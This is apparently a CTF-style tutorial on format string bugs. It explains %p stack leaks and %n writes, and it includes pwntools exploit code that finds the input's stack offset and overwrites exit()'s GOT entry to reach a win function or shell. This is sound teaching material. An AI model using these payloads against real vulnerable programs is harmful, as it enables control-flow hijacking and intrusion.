Format String Bugs
Use printf's %p and %n specifiers to leak memory and write arbitrary values anywhere in a process.
// prerequisite reading
The bug
printf(user_input) directly without a format string lets the attacker
supply the format string themselves.
char buf[128];
fgets(buf, 128, stdin);
printf(buf); // BUG: buf is the format string
This gives two primitives:
- Read anywhere —
%por%sleaks stack and pointer values. - Write anywhere —
%nwrites the number of bytes printed so far to a pointer on the stack.
Reading the stack with %p
Send %p.%p.%p.%p.%p.%p.%p.%p — each %p pops one argument off the
(imagined) argument list, which in practice reads consecutive stack words.
input: %p.%p.%p.%p.%p.%p
output: 0x7ffd... 0x400742 0x1 0x786c 0x70252e70252e ...
To target a specific stack offset, use the positional specifier %7$p (read
the 7th argument).
Finding your input on the stack
Send a recognisable sentinel with format specifiers:
payload = b"AAAA" + b".%p" * 30
io.sendline(payload)
# Look for 0x41414141 in the output — that's offset N
Once you know offset N, read that slot with %N$s to dereference it as a
string pointer.
Writing with %n
%n writes the total character count printed so far to the address in the
corresponding argument. Use %hhn for one byte, %hn for two bytes.
from pwn import *
elf = ELF("./vuln")
target = elf.got['exit'] # overwrite exit() in the GOT
win = elf.symbols['win']
payload = fmtstr_payload(offset, {target: win}) # pwntools does the math
io.sendline(payload)
fmtstr_payload builds the exact format string to write arbitrary values at
arbitrary addresses — you only need the stack offset your input is at.
Full leak → win flow
- Send
%pchain → find the stack canary or libc address. - Use the leak to defeat ASLR.
- Overwrite a GOT entry to redirect a future function call.
- Trigger the call → shell or flag.